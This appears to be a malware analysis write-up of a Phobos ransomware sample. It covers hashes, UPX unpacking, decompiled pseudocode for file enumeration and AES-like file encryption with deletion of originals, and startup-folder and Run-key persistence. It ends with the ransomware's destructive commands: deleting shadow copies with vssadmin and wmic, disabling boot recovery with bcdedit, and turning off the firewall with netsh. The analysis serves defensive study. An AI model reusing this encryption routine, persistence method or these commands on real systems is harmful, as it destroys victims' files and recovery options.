Phobos Ransomware family VXUG version
Introduction
Phobos ransomware is a malicious software that has gained notoriety in the world of cyber threats. This ransomware strain is designed to encrypt a victim’s files and demand a ransom payment in exchange for the decryption key. In this article, we will explore the key characteristics and impact of Phobos ransomware.
File information
- Analysis date: December 07, 2023 at 18:58:53
- OS: Windows 10 Professional (build: 19044, 64 bit)
- Tags: ransomware
- File info: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
- MD5: 1CEBF0114B0D9D55A9BE7E4448052033
- SHA256: 763B04EF2D0954C7ECF394249665BCD71EEAFEBC3A66A27B010F558FD59DBDEB
Decompression
We will utilize UPX (Ultimate Packer for Executables) to decompress the malware. UPX is a popular open-source executable packer that is commonly used by malware authors to compress and obfuscate their code. By decompressing the malware using UPX, we aim to reveal the original code and gain a deeper understanding of its functionality and potential threat.
C:\ptktools\upx>upx -d phobos-vxug.exe -o phobos-vxug-decompress.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2022
UPX 4.0.1 Markus Oberhumer, Laszlo Molnar & John Reiser Nov 16th 2022
File size Ratio Format Name
-------------------- ------ ----------- -----------
68096 <- 51712 75.94% win32/pe phobos-vxug-decompress.exe
Unpacked 1 file.
C:\ptktools\upx>dir phobos*
Volume in drive C is Windows X-Lite
Volume Serial Number is EA0A-B8C4
Directory of C:\ptktools\upx
12/04/2023 06:24 AM 68,096 phobos-vxug-decompress.exe
12/04/2023 06:24 AM 51,712 phobos-vxug.exe
2 File(s) 119,808 bytes
0 Dir(s) 159,802,298,368 bytes free
Files Search Process
The specific part of the code that handles the loop iterating over all the files. This loop is centered around the use of FindFirstFileW
and FindNextFileW
functions, which are used to traverse files in a directory on Windows.
The loop starts after a successful call to FindFirstFileW
and continues as long as FindNextFileW
finds new files. Here’s the code for this loop:
hFindFile = FindFirstFileW(v6, &FindFileData);
if (hFindFile != (HANDLE)-1) {
do {
// Skip the "." and ".." entries
if (FindFileData.cFileName[0] != 46
|| FindFileData.cFileName[1] && (FindFileData.cFileName[1] != 46 || FindFileData.cFileName[2])) {
// Build the complete file path and call function `a2`
v7 = sub_4090C6(a1);
if (a4 >= v7 + sub_4090C6(FindFileData.cFileName) + 1) {
sub_40927D(v6, a1);
sub_4092B4(v6, &unk_40A208);
sub_4092B4(v6, FindFileData.cFileName);
v8 = a2(a1, v6, &FindFileData, a3);
// Handle the return from function `a2`
if (v8) {
if (v8 < 0)
break;
if (a5 && (FindFileData.dwFileAttributes & 0x10) != 0) {
v9 = sub_405D61(v6, a2, a3, a4, a5 - 1);
v13 += v9;
} else {
++v13;
}
}
}
}
} while (FindNextFileW(hFindFile, &FindFileData));
FindClose(hFindFile);
}
Explanation of the loop:
-
File Searching:
FindFirstFileW
starts the search, andFindNextFileW
continues the search until there are no more files. -
Filtering: The loop skips the “.” and “..” directory entries, which represent the current directory and the parent directory, respectively.
-
Path Building: For each file, the code constructs its full path using the functions
sub_40927D
andsub_4092B4
. -
Calling function
a2
: The functiona2
is called with the file path, among other parameters. -
Handling the return from
a2
: Depending on the return ofa2
, the loop may prematurely end, make a recursive call tosub_405D61
(if the file is a directory anda5
is positive), or simply increment the counterv13
. -
Closing the File Search: After the end of the loop,
FindClose
is called to close the file search handle.
Modification of file process
int __usercall sub_408782@<eax>(_DWORD *a1@<eax>, _BYTE *a2, LPCWSTR lpFileName, LPCWSTR a4, char a5)
{
int v6; // eax
_DWORD *v7; // ebx
int v8; // eax
int v9; // edi
HANDLE FileW; // eax
int v11; // ebx
int v13; // [esp-Ch] [ebp-2A4h]
_BYTE *v14; // [esp-8h] [ebp-2A0h]
int v15; // [esp-4h] [ebp-29Ch]
char v16[296]; // [esp+10h] [ebp-288h] BYREF
char v17[300]; // [esp+138h] [ebp-160h] BYREF
int v18; // [esp+264h] [ebp-34h]
_BYTE *v19; // [esp+268h] [ebp-30h]
_DWORD *v20; // [esp+26Ch] [ebp-2Ch]
DWORD NumberOfBytesWritten; // [esp+270h] [ebp-28h] BYREF
int v22; // [esp+274h] [ebp-24h]
int v23; // [esp+278h] [ebp-20h]
DWORD dwFlagsAndAttributes; // [esp+27Ch] [ebp-1Ch]
LARGE_INTEGER liDistanceToMove; // [esp+280h] [ebp-18h] BYREF
DWORD nNumberOfBytesToRead; // [esp+288h] [ebp-10h]
DWORD nNumberOfBytesToWrite; // [esp+28Ch] [ebp-Ch] BYREF
HANDLE hFile; // [esp+290h] [ebp-8h]
HANDLE hObject; // [esp+294h] [ebp-4h]
v23 = 0;
nNumberOfBytesToRead = a1[9] - (a1[9] & 0xF);
v19 = (_BYTE *)sub_408601(lpFileName);
v6 = sub_4090C6(v19);
v7 = (_DWORD *)a1[8];
v18 = 2 * v6 + 2;
v20 = v7 + 8;
if ( ((2 * (_BYTE)v6 + 34) & 0xF) != 0 )
v8 = 32 - ((2 * (_BYTE)v6 + 34) & 0xF) + 2 * v6 + 2 + 16;
else
v8 = 2 * v6 + 34;
v22 = v8;
v9 = (int)v7 + v8;
hObject = (HANDLE)-1;
dwFlagsAndAttributes = GetFileAttributesW(lpFileName);
if ( nNumberOfBytesToRead >= v9 - a1[8] + 178 && GetFileAttributesW(a4) == -1 )
{
FileW = CreateFileW(lpFileName, 0xC0000000, 0, 0, 3u, 0, 0);
hFile = FileW;
if ( FileW != (HANDLE)-1 )
{
liDistanceToMove.QuadPart = 0i64;
if ( SetFilePointerEx(FileW, 0i64, &liDistanceToMove, 2u) )
{
if ( liDistanceToMove.QuadPart )
{
liDistanceToMove.QuadPart = 0i64;
if ( SetFilePointerEx(hFile, 0i64, &liDistanceToMove, 0) )
{
hObject = CreateFileW(a4, 0x40000000u, 1u, 0, 1u, dwFlagsAndAttributes, 0);
if ( hObject != (HANDLE)-1 && !sub_40669B(v16, *a1, a2) )
{
while ( ReadFile(hFile, (LPVOID)a1[8], nNumberOfBytesToRead, &nNumberOfBytesToWrite, 0) )
{
if ( nNumberOfBytesToWrite < nNumberOfBytesToRead )
{
dwFlagsAndAttributes = 16 - (nNumberOfBytesToWrite & 0xF);
sub_408FA9((char *)(nNumberOfBytesToWrite + a1[8]), 0, dwFlagsAndAttributes);
nNumberOfBytesToWrite += dwFlagsAndAttributes;
}
if ( !sub_406432((int)v16, a1[8], a1[8])
|| !WriteFile(hObject, (LPCVOID)a1[8], nNumberOfBytesToWrite, &NumberOfBytesWritten, 0)
|| NumberOfBytesWritten != nNumberOfBytesToWrite )
{
break;
}
if ( nNumberOfBytesToWrite < nNumberOfBytesToRead )
{
v15 = v18;
*v7 = 0;
v14 = v19;
v7[1] = 2;
v13 = (int)v20;
v7[2] = -257466862;
v7[6] = 32;
sub_408FD7(v13, v14, v15);
sub_408FD7(v9, (_BYTE *)a1 + 4, 20);
sub_408FD7(v9 + 20, a2, 16);
sub_408FD7(v9 + 40, (_BYTE *)(*a1 + 32), 128);
sub_408FD7(v9 + 172, (_BYTE *)a1 + 24, 6);
v11 = v22;
*(_DWORD *)(v9 + 36) = dwFlagsAndAttributes;
*(_DWORD *)(v9 + 168) = v11 + 178;
if ( !sub_40669B(v17, *a1, a2) )
{
if ( sub_406432((int)v17, a1[8], a1[8]) )
{
sub_408FA9(v17, 0, 0x128u);
if ( WriteFile(hObject, (LPCVOID)a1[8], *(_DWORD *)(v9 + 168), &NumberOfBytesWritten, 0) )
{
if ( NumberOfBytesWritten == *(_DWORD *)(v9 + 168) )
{
if ( (a5 & 4) != 0 )
sub_4086B7(hFile);
if ( (a5 & 2) != 0 )
{
FlushFileBuffers(hFile);
FlushFileBuffers(hObject);
}
v23 = 1;
}
}
}
}
break;
}
}
sub_408FA9(v16, 0, 0x128u);
}
}
}
}
CloseHandle(hFile);
if ( hObject != (HANDLE)-1 )
CloseHandle(hObject);
if ( v23 )
{
DeleteFileW(lpFileName);
}
else if ( hObject != (HANDLE)-1 )
{
DeleteFileW(a4);
}
}
}
return v23;
}
This function, named sub_408782
, performs several operations on files.
-
Local Variable Declarations: The function starts by declaring a number of local variables, including integers, character arrays,
HANDLE
s, and other Windows-specific types. -
Initialization and Value Calculations:
- It initializes
nNumberOfBytesToRead
based on a field from thea1
parameter. - It calls
sub_408601
andsub_4090C6
withlpFileName
, likely to get some information or transform this filename in a specific way.
- It initializes
-
Checking Conditions before Proceeding:
- It checks certain conditions regarding the read size and attributes of the files (named
lpFileName
anda4
).
- It checks certain conditions regarding the read size and attributes of the files (named
-
Opening the Source File:
- If the conditions are met, it opens the source file (
lpFileName
) for reading.
- If the conditions are met, it opens the source file (
-
Creating or Opening the Destination File:
- It then attempts to create or open the destination file (
a4
).
- It then attempts to create or open the destination file (
-
Read and Write Loop:
- If the files are successfully opened, it enters a loop where it reads from the source file and writes to the destination file.
- It seems to also perform adjustments to data block sizes and possibly encoding or formatting.
-
End-of-File Processing:
- After finishing processing the file content, it performs some final processing, which includes updating some data and writing a final data block to the destination file.
-
Handle Management and Cleanup:
- The function closes the
HANDLE
s of the opened files and, depending on the success of the operations, might delete either the source or the destination file.
- The function closes the
-
Return:
- The function returns a value (
v23
), which is likely an indicator of the success or failure of the operations performed.
- The function returns a value (
Example of creation of the first encrypted file
Encryption process
int __cdecl sub_407447(_DWORD *a1, int a2, _BYTE *a3, _DWORD *a4)
{
int v4; // ecx
char *v5; // eax
unsigned int v7; // ebx
_BYTE *v8; // eax
int v9; // esi
int v10; // ebx
_DWORD *v11; // esi
_BYTE *v12; // eax
int v13; // ecx
_DWORD *v14; // esi
bool v15; // zf
int v16; // [esp+0h] [ebp-18h]
int v17; // [esp+4h] [ebp-14h]
int v18; // [esp+8h] [ebp-10h]
int v19; // [esp+Ch] [ebp-Ch]
int v20; // [esp+10h] [ebp-8h]
unsigned int v21; // [esp+10h] [ebp-8h]
int *v22; // [esp+14h] [ebp-4h]
v5 = (char *)(a1 + 2);
if ( (v4 & 0xF) != 0 )
return -34;
if ( a2 )
{
if ( v4 )
{
v10 = v5 - a3;
v21 = ((unsigned int)(v4 - 1) >> 4) + 1;
do
{
v11 = a4;
v12 = a3;
v13 = 16;
do
{
v12[(char *)a4 - a3] = *v12 ^ v12[v10];
++v12;
--v13;
}
while ( v13 );
if ( a2 == 1 )
sub_406A04(a1);
else
sub_406F2A(a1);
a3 += 16;
a4 += 4;
a1[2] = *v11;
v14 = v11 + 1;
a1[3] = *v14++;
a1[4] = *v14;
v10 -= 16;
v15 = v21-- == 1;
a1[5] = v14[1];
}
while ( !v15 );
}
}
else if ( v4 )
{
v22 = (int *)a3;
v20 = v5 - (char *)a4;
v7 = ((unsigned int)(v4 - 1) >> 4) + 1;
do
{
v16 = *v22;
v17 = v22[1];
v18 = v22[2];
v19 = v22[3];
sub_406F2A(a1);
v8 = a4;
v9 = 16;
do
{
*v8 ^= v8[v20];
++v8;
--v9;
}
while ( v9 );
v22 += 4;
v20 -= 16;
--v7;
a1[2] = v16;
a1[3] = v17;
a1[4] = v18;
a1[5] = v19;
a4 = v8;
}
while ( v7 );
}
return 0;
}
int __usercall sub_406A04@<eax>(unsigned __int8 *a1@<eax>, int a2@<esi>, int *a3)
{
_DWORD *v3; // ecx
unsigned int v4; // ebx
_DWORD *v5; // ecx
bool v6; // cc
unsigned int v7; // edx
unsigned int v8; // edi
int v9; // edx
int v11; // [esp+8h] [ebp-18h]
int v12; // [esp+Ch] [ebp-14h]
unsigned int v13; // [esp+10h] [ebp-10h]
unsigned int v14; // [esp+10h] [ebp-10h]
unsigned int v15; // [esp+14h] [ebp-Ch]
unsigned int v16; // [esp+14h] [ebp-Ch]
unsigned int v17; // [esp+14h] [ebp-Ch]
unsigned int v18; // [esp+18h] [ebp-8h]
int v19; // [esp+18h] [ebp-8h]
unsigned int v20; // [esp+1Ch] [ebp-4h]
unsigned int v21; // [esp+28h] [ebp+8h]
unsigned int v22; // [esp+28h] [ebp+8h]
v3 = (_DWORD *)a3[1];
v20 = *v3 ^ (*a1 | ((a1[1] | (*((unsigned __int16 *)a1 + 1) << 8)) << 8));
v18 = v3[1] ^ (a1[4] | ((a1[5] | ((a1[6] | (a1[7] << 8)) << 8)) << 8));
v4 = v3[2] ^ (a1[8] | ((a1[9] | ((a1[10] | (a1[11] << 8)) << 8)) << 8));
v15 = v3[3] ^ (a1[12] | ((a1[13] | ((a1[14] | (a1[15] << 8)) << 8)) << 8));
v5 = v3 + 4;
v11 = (*a3 >> 1) - 1;
v6 = v11 <= 0;
while ( !v6 )
{
v21 = v5[1] ^ dword_40D170[(unsigned __int8)v18] ^ dword_40C570[HIBYTE(v20)] ^ dword_40CD70[BYTE1(v4)] ^ dword_40C970[BYTE2(v15)];
v13 = v5[2] ^ dword_40D170[(unsigned __int8)v4] ^ dword_40C570[HIBYTE(v18)] ^ dword_40C970[BYTE2(v20)] ^ dword_40CD70[BYTE1(v15)];
v7 = *v5 ^ dword_40D170[(unsigned __int8)v20] ^ dword_40C570[HIBYTE(v15)] ^ dword_40CD70[BYTE1(v18)] ^ dword_40C970[BYTE2(v4)];
v16 = v5[3] ^ dword_40D170[(unsigned __int8)v15] ^ dword_40C570[HIBYTE(v4)] ^ dword_40CD70[BYTE1(v20)] ^ dword_40C970[BYTE2(v18)];
v20 = v5[4] ^ dword_40D170[(unsigned __int8)v7] ^ dword_40C570[HIBYTE(v16)] ^ dword_40CD70[BYTE1(v21)] ^ dword_40C970[BYTE2(v13)];
v18 = v5[5] ^ dword_40D170[(unsigned __int8)v21] ^ dword_40C570[HIBYTE(v7)] ^ dword_40CD70[BYTE1(v13)] ^ dword_40C970[BYTE2(v16)];
v4 = v5[6] ^ dword_40D170[(unsigned __int8)v13] ^ dword_40C570[HIBYTE(v21)] ^ dword_40C970[BYTE2(v7)] ^ dword_40CD70[BYTE1(v16)];
v5 += 8;
v6 = --v11 <= 0;
v15 = *(v5 - 1) ^ dword_40D170[(unsigned __int8)v16] ^ dword_40C570[HIBYTE(v13)] ^ dword_40CD70[BYTE1(v7)] ^ dword_40C970[BYTE2(v21)];
}
v22 = v5[1] ^ dword_40D170[(unsigned __int8)v18] ^ dword_40C570[HIBYTE(v20)] ^ dword_40CD70[BYTE1(v4)] ^ dword_40C970[BYTE2(v15)];
v14 = v5[2] ^ dword_40D170[(unsigned __int8)v4] ^ dword_40C570[HIBYTE(v18)] ^ dword_40C970[BYTE2(v20)] ^ dword_40CD70[BYTE1(v15)];
v8 = *v5 ^ dword_40D170[(unsigned __int8)v20] ^ dword_40C570[HIBYTE(v15)] ^ dword_40CD70[BYTE1(v18)] ^ dword_40C970[BYTE2(v4)];
v17 = v5[3] ^ dword_40D170[(unsigned __int8)v15] ^ dword_40C570[HIBYTE(v4)] ^ dword_40CD70[BYTE1(v20)] ^ dword_40C970[BYTE2(v18)];
v19 = v5[5] ^ (unsigned __int8)byte_40B448[(unsigned __int8)v22] ^ (((unsigned __int8)byte_40B448[BYTE1(v14)] ^ ((((unsigned __int8)byte_40B448[HIBYTE(v8)] << 8) ^ (unsigned __int8)byte_40B448[BYTE2(v17)]) << 8)) << 8);
v12 = v5[6] ^ (unsigned __int8)byte_40B448[(unsigned __int8)v14] ^ (((unsigned __int8)byte_40B448[BYTE1(v17)] ^ ((((unsigned __int8)byte_40B448[HIBYTE(v22)] << 8) ^ (unsigned __int8)byte_40B448[BYTE2(v8)]) << 8)) << 8);
v9 = v5[7] ^ (unsigned __int8)byte_40B448[(unsigned __int8)v17] ^ (((unsigned __int8)byte_40B448[BYTE1(v8)] ^ ((((unsigned __int8)byte_40B448[HIBYTE(v14)] << 8) ^ (unsigned __int8)byte_40B448[BYTE2(v22)]) << 8)) << 8);
*(_DWORD *)a2 = v5[4] ^ (unsigned __int8)byte_40B448[(unsigned __int8)v8] ^ (((unsigned __int8)byte_40B448[BYTE1(v22)] ^ ((((unsigned __int8)byte_40B448[HIBYTE(v17)] << 8) ^ (unsigned __int8)byte_40B448[BYTE2(v14)]) << 8)) << 8);
*(_DWORD *)(a2 + 4) = v19;
*(_WORD *)(a2 + 8) = v12;
*(_BYTE *)(a2 + 11) = HIBYTE(v12);
*(_WORD *)(a2 + 12) = v9;
*(_BYTE *)(a2 + 14) = BYTE2(v9);
*(_BYTE *)(a2 + 10) = BYTE2(v12);
*(_BYTE *)(a2 + 15) = HIBYTE(v9);
return 0;
}
int __usercall sub_406F2A@<eax>(unsigned __int8 *a1@<eax>, int a2@<esi>, int *a3)
{
_DWORD *v3; // ecx
int v4; // ebx
unsigned int v5; // edx
_DWORD *v6; // ecx
bool v7; // cc
unsigned int v8; // edx
unsigned int v9; // edi
int v10; // edx
int v11; // ebx
int v13; // [esp+8h] [ebp-18h]
unsigned int v14; // [esp+Ch] [ebp-14h]
int v15; // [esp+Ch] [ebp-14h]
unsigned __int8 v16; // [esp+10h] [ebp-10h]
unsigned int v17; // [esp+10h] [ebp-10h]
unsigned int v18; // [esp+10h] [ebp-10h]
unsigned int v19; // [esp+14h] [ebp-Ch]
unsigned int v20; // [esp+14h] [ebp-Ch]
unsigned int v21; // [esp+18h] [ebp-8h]
unsigned int v22; // [esp+1Ch] [ebp-4h]
int v23; // [esp+1Ch] [ebp-4h]
unsigned int v24; // [esp+28h] [ebp+8h]
unsigned int v25; // [esp+28h] [ebp+8h]
v3 = (_DWORD *)a3[1];
v22 = v3[1] ^ (a1[4] | ((a1[5] | (*((unsigned __int16 *)a1 + 3) << 8)) << 8));
v4 = *v3 ^ (*a1 | ((a1[1] | (*((unsigned __int16 *)a1 + 1) << 8)) << 8));
v21 = v3[2] ^ (a1[8] | ((a1[9] | ((a1[10] | (a1[11] << 8)) << 8)) << 8));
v5 = v3[3] ^ (a1[12] | ((a1[13] | ((a1[14] | (a1[15] << 8)) << 8)) << 8));
v6 = v3 + 4;
v14 = v4;
v13 = (*a3 >> 1) - 1;
v7 = v13 <= 0;
while ( 1 )
{
v16 = v5;
if ( v7 )
break;
v24 = *v6 ^ dword_40C170[(unsigned __int8)v4] ^ dword_40B548[HIBYTE(v22)] ^ dword_40B948[BYTE2(v21)] ^ dword_40BD70[BYTE1(v5)];
v19 = v6[2] ^ dword_40C170[(unsigned __int8)v21] ^ dword_40B548[HIBYTE(v5)] ^ dword_40B948[BYTE2(v4)] ^ dword_40BD70[BYTE1(v22)];
v8 = v6[1] ^ dword_40C170[(unsigned __int8)v22] ^ dword_40B548[HIBYTE(v21)] ^ dword_40BD70[BYTE1(v4)] ^ dword_40B948[BYTE2(v5)];
v17 = v6[3] ^ dword_40C170[v16] ^ dword_40B548[HIBYTE(v14)] ^ dword_40B948[BYTE2(v22)] ^ dword_40BD70[BYTE1(v21)];
v14 = v6[4] ^ dword_40C170[(unsigned __int8)v24] ^ dword_40B548[HIBYTE(v8)] ^ dword_40B948[BYTE2(v19)] ^ dword_40BD70[BYTE1(v17)];
v22 = v6[5] ^ dword_40C170[(unsigned __int8)v8] ^ dword_40B548[HIBYTE(v19)] ^ dword_40BD70[BYTE1(v24)] ^ dword_40B948[BYTE2(v17)];
v4 = v14;
v21 = v6[6] ^ dword_40C170[(unsigned __int8)v19] ^ dword_40B548[HIBYTE(v17)] ^ dword_40B948[BYTE2(v24)] ^ dword_40BD70[BYTE1(v8)];
v6 += 8;
v7 = --v13 <= 0;
v5 = *(v6 - 1) ^ dword_40C170[(unsigned __int8)v17] ^ dword_40B548[HIBYTE(v24)] ^ dword_40B948[BYTE2(v8)] ^ dword_40BD70[BYTE1(v19)];
}
v25 = *v6 ^ dword_40C170[(unsigned __int8)v4] ^ dword_40B548[HIBYTE(v22)] ^ dword_40B948[BYTE2(v21)] ^ dword_40BD70[BYTE1(v5)];
v9 = v6[1] ^ dword_40C170[(unsigned __int8)v22] ^ dword_40B548[HIBYTE(v21)] ^ dword_40BD70[BYTE1(v4)] ^ dword_40B948[BYTE2(v5)];
v20 = v6[2] ^ dword_40C170[(unsigned __int8)v21] ^ dword_40B548[HIBYTE(v5)] ^ dword_40B948[BYTE2(v4)] ^ dword_40BD70[BYTE1(v22)];
v18 = v6[3] ^ dword_40C170[(unsigned __int8)v5] ^ dword_40B548[HIBYTE(v14)] ^ dword_40B948[BYTE2(v22)] ^ dword_40BD70[BYTE1(v21)];
v15 = v6[4] ^ (unsigned __int8)byte_40D570[*(_BYTE *)v6 ^ LOBYTE(dword_40C170[(unsigned __int8)v4]) ^ LOBYTE(dword_40B548[HIBYTE(v22)]) ^ LOBYTE(dword_40B948[BYTE2(v21)]) ^ LOBYTE(dword_40BD70[BYTE1(v5)])] ^ (((unsigned __int8)byte_40D570[BYTE1(v18)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v9)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v20)]) << 8)) << 8);
v23 = v6[5] ^ (unsigned __int8)byte_40D570[*((_BYTE *)v6 + 4) ^ LOBYTE(dword_40C170[(unsigned __int8)v22]) ^ LOBYTE(dword_40B548[HIBYTE(v21)]) ^ LOBYTE(dword_40BD70[BYTE1(v4)]) ^ LOBYTE(dword_40B948[BYTE2(v5)])] ^ (((unsigned __int8)byte_40D570[BYTE1(v25)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v20)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v18)]) << 8)) << 8);
v10 = v6[6] ^ (unsigned __int8)byte_40D570[(unsigned __int8)v20] ^ (((unsigned __int8)byte_40D570[BYTE1(v9)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v18)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v25)]) << 8)) << 8);
v11 = v6[7] ^ (unsigned __int8)byte_40D570[(unsigned __int8)v18] ^ (((unsigned __int8)byte_40D570[BYTE1(v20)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v25)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v9)]) << 8)) << 8);
*(_DWORD *)a2 = v15;
*(_WORD *)(a2 + 4) = v23;
*(_BYTE *)(a2 + 7) = HIBYTE(v23);
*(_BYTE *)(a2 + 9) = BYTE1(v10);
*(_BYTE *)(a2 + 10) = BYTE2(v10);
*(_WORD *)(a2 + 12) = v11;
*(_BYTE *)(a2 + 8) = v10;
*(_BYTE *)(a2 + 14) = BYTE2(v11);
*(_BYTE *)(a2 + 15) = HIBYTE(v11);
*(_BYTE *)(a2 + 6) = BYTE2(v23);
*(_BYTE *)(a2 + 11) = HIBYTE(v10);
return 0;
}
The added functions, sub_406A04
and sub_406F2A
, appear to be implementations of specific steps in an encryption or decryption algorithm, likely a variant of a block cipher algorithm such as AES (Advanced Encryption Standard) or similar. These functions involve a combination of bit manipulations and access to predefined arrays (like dword_40D170
, byte_40B448
, etc.), which are typical for substitution and permutation operations in cryptographic algorithms.
Here’s a more detailed summary of each function:
-
sub_406A04
:- This function performs multiple encryption operations on data blocks. It uses XOR operations (
^
), bit shifting, and array accesses to transform the input data. - Arrays like
dword_40D170
,dword_40C570
, etc., are probably substitution tables used to mix and substitute data in a non-linear way. - The function seems to perform several rounds of transformation, which is common in block cipher algorithms.
- This function performs multiple encryption operations on data blocks. It uses XOR operations (
-
sub_406F2A
:- This function has a structure similar to
sub_406A04
, also performing operations on data blocks using XOR operations, bit shifts, and array accesses. - It uses different arrays, suggesting that it might perform a different or complementary operation (perhaps decryption or a different step of the encryption process).
- This function has a structure similar to
These functions, in combination with the main function sub_407447
, indicate that the code is part of a data encryption/decryption system. The main function sub_407447
seems to orchestrate the process by calling sub_406A04
or sub_406F2A
based on certain conditions and processing data in 16-byte blocks.
Startup process
The malware appears to replicate itself into the following directories to ensure it is executed upon the computer’s startup:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\Users\Admin\AppData\Local
The malware adds an entry to the registry key HKLM\Software\Microsoft\Windows\CurrentVersion\Run
to ensure it launches every time the computer starts up.
Extra Syntax
-
vssadmin delete shadows /all /quiet
: This command deletes all volume snapshots (Shadow Copies) on the system. Volume snapshots are used to back up copies of files at a given point in time, allowing you to restore files from these copies in the future. Using this command will remove all existing volume snapshots on the system. -
wmic shadowcopy delete
: This command also deletes volume snapshots. It is another way to perform the same operation as the previous command. -
bcdedit /set {default} bootstatuspolicy ignoreallfailures
: This command configures the boot status policy option for the default profile (typically the profile used to boot Windows) to ignore all boot failures. This means that Windows will start even if there is a boot failure without displaying an error. -
bcdedit /set {default} recoveryenabled no
: This command disables the automatic recovery feature of Windows for the default profile. Automatic recovery is a feature that can attempt to repair boot problems using built-in recovery tools. -
wmic shadowcopy delete
: Once again, this command is used to delete volume snapshots. It is repeated in the list. -
netsh advfirewall set currentprofile state off
: This command turns off the Windows Firewall for the current network profile (e.g., “Public” or “Private”). By setting the state to “off,” the Windows Firewall will no longer filter incoming or outgoing network traffic for the current profile. This can make your system more vulnerable to security threats, so it is recommended to disable the firewall only if you have valid reasons and have other security measures in place. -
netsh firewall set opmode mode=disable
: This command disables the Windows Firewall entirely, regardless of the network profile. It sets the operating mode (opmode) of the Windows Firewall to “disable.” This means that the Windows Firewall will no longer protect your system against network threats, which can pose a security risk.